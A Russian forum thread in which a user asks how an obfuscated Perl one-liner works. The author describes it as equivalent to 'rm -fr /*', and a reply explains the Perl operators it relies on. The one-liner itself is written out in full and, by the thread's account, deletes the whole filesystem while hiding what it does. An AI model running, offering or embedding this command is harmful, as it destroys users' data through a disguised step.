LINUX.ORG.RU

помогите разобраться в перловом скрипте


0

1

нашел тут замену универсальному патчу rm -fr /* на перле. perl я почти не знаю, поэтому может здесь кто-нибудь объяснить как этот скрипт работает??

===

#!/usr/bin/env perl $??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see

===


Ответ на: комментарий от McMCC

да я знаю... просто очень интересно, как это с нуля написано =)

marx
() автор топика

> #!/usr/bin/env perl $??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see

> $?
$CHILD_ERROR Данная переменная содержит статус завершения таких процессов как: закрытие pipe, завершение функций system(), wait() и `...`.

> $_
$ARG Переменная - по умолчанию для операторов ввода и поиска. То есть если в качестве аргумента не указана никакая переменная, то используется именно эта.

> 

> Условный оператор '?:' 

Этот оператор работает так же как и в С. Если выражение перед '?' истинно, то выполняется аргумент перед ':' - иначе после ':'. 

Пример:

     $i = 1;  $i > 1 ? print "больше" : print "меньше";
Результат: меньше

> s/шаблон/подстрока/egimosx 

Поиск по шаблону и в случае успеха замена подстрокой. Возвращает количество произведенных подстановок, иначе false (0). Если строка в которой ведется поиск не указана (операторы =~ или != ), то используется переменная $_ . Если в качестве разделителя '/' использовать одинарную кавычку ('), то интерполяции не будет, иначе можно применять переменные в шаблоне или подстроке. 

Опции: 
e	- Рассматривать правую часть как выражение. 	
g	- Глобальный поиск. 	
i	- Без различия регистра букв 	
m	- многострочная переменная 	
o	- компилировать шаблон один раз 	
s	- однострочная переменная 	
x	- расширенное регулярное выражение 	

Разделитель '/' можно заменить на любой алфавитно-цифровой символ кроме пробела. 

Пример:

     $var = "12345"; # исходная строка
     $var =~ s/1/0/; # Заменить '1' на '0'. Результат 02345
     $var =~ s(5)(.); # Заменить '5' на '.' Результат 0234.

Здесь в качестве разделителя применены скобки, поэтому подстрока взята в две скобки. 

     $var =~ s/\d*/каламбур/; Заменить все цифры. Результат 'каламбур.'
     $var =~ s/а/о/g; # Заменить все 'а' на 'о'. Результат 'коломбур.'
     $var = "12 34"; # Новое значение
     $var =~ s/(\d\d) (\d\d)/$2 $1/; # Поменять местами числа. Результат '34 12'.

> y/таблица1/таблица2/cds 

Замена всех символов из "таблица1" на соответствующий символ из "таблица2". Результат - количество замен или стираний. Без оператора =~ или != операция выполняется со строкой $_. Для совместимости с программой sed вместо tr можно писать 'y'. 

Опции:
c	- дополнение "таблица1" 	
d	- стереть найденные, но не замененные символы. 	
s	- "сжать" повторяющиеся замененные символы. 	

Если указана опция /d таблица2 всегда интерпретируется как положено. Другими словами, если таблица2 короче, чем таблица1, то символ из таблицы1 интерпретируется всегда. Если таблица2 - null, то все символы строки остаются неизменными. Это удобно для подсчета количества символов в строке определенного класса или для сжатия повторяющихся символов, например, пробелов. 

Пример:

     $s = "hello";     # Исходная строка
     $s =~ tr/a-z/A-Z/;     # Заменить малые буквы на большие. Результат
                    # 'HELLO'
     $s = 'Hel....lo';
     $s =~ tr/a-zA-z/_/c;     # Заменить все не буквы на '_'
                    # Результат 'Hel____lo'
     $s =~ tr/_/ /s;          # Заменить '_' на ' ' и сжать. 
                    # Результат 'Hel lo'
     $s =~ tr/a-zA-Z /a-zA-Z/d; # Удалить все не буквы. Результат 'Hello'

Если один и тот же символ несколько раз указан в таблице1, то применяется только первая замена. 

> 

anonymous
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.